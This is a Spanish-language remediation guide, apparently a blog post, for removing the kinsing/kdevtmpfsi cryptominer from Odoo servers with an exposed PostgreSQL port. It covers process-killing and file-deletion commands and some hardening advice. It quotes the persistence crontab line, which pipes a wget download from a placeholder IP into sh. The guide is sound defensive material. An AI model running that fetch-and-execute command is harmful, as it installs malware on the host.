Solución
Si te ha tocado lidiar con el malware, sabrás que puede ser insistente. Si te está tocando resolverlo, acá van los pasos a seguir:
Primero, revertir todo lo que se hizo en postgres, o lo que es lo mismo, dejar el puerto 5432 cerrado, de ser posible desde un firewall; incluso si el VPS contratado tiene posibilidad de cerrar puertos desde la interfaz, hacerlo inmediatamente. De lo contrario cualquier solución será solo momentánea. Incluso, para los más exigentes, hasta recomiendo cambiarle el puerto desde la configuración de PostgreSQL y en odoo para que el propio sistema no utilice el puerto por defecto.
Ahora si, vamos a frenar la ejecusión del malware y de su contenedor:
pkill -9 -f kdevtmpfsi* pkill -9 -f kinsing*
Van a necesitar permisos sudo, y puede que lo encuentren con caracteres al final (siempre revisar con algun software tipo htop el nombre del proceso).
Luego lo eliminamos del disco:
find / -iname kdevtmpfsi* -exec rm -fv {} \;
find / -iname kinsing* -exec rm -fv {} \;Ahora viene una parte muy variable, porque aunque hagamos todo esto y Odoo levante bien en pocas horas vamos a volver a tener el mismo problema. Los más despiertos se habrán dado cuenta de que se está ejecutando una crontab que lo revive al malware y esto es más dificil de eliminar porque la tenemos que buscar. Nos vamos a dirigir al siguiente directorio:
/var/spool/cron/crontabs
Y vamos a buscar algun archivo crontab con nombre sospechoso, en Odoo siempre lo vi con el nombre postgres, pero tambien se encuentra comúnmente como apache o www-data. Lo importante antes que nada es verificar su contenido, tiene que haber una linea que sea algo asi:
* * * * wget -q -O - http://xxx.xxx.xxx.xxx/lr.sh | sh > /dev/null 2>&1
Donde http://xxx.xxx.xxx.xxx va a ser una IP aleatoria, y si se fijan es un wget que descarga y ejecuta el malware constantemente. Al reiniciar el crontab, vamos a tener el sistema limpio nuevamente.
Otras Medidas
Realmente, muchas veces es poco lo que se puede hacer con estas cosas, pero recomiendo siempre lo normal en implementaciones donde se ejecuta algo tan delicado como Odoo. Para empezar, lo dicho al principio, tratar de no usar los puertos por defecto; incluso el de Odoo puede cambiarse con facilidad y aunque no lo parezca es el principal error en muchos casos. Otra cosa que suele pasar, al instalar Odoo solemos instalar el wget para traernos algunas dependencias extras. Lo más probable es que no lo usemos nunca más, entonces, ¿por qué lo dejamos instalado? Es un gran comando pero puede generar este tipo de problemas (lo mismo pasa con curl). Finalmente, tomarnos el tiempo para habilitar el firewall.
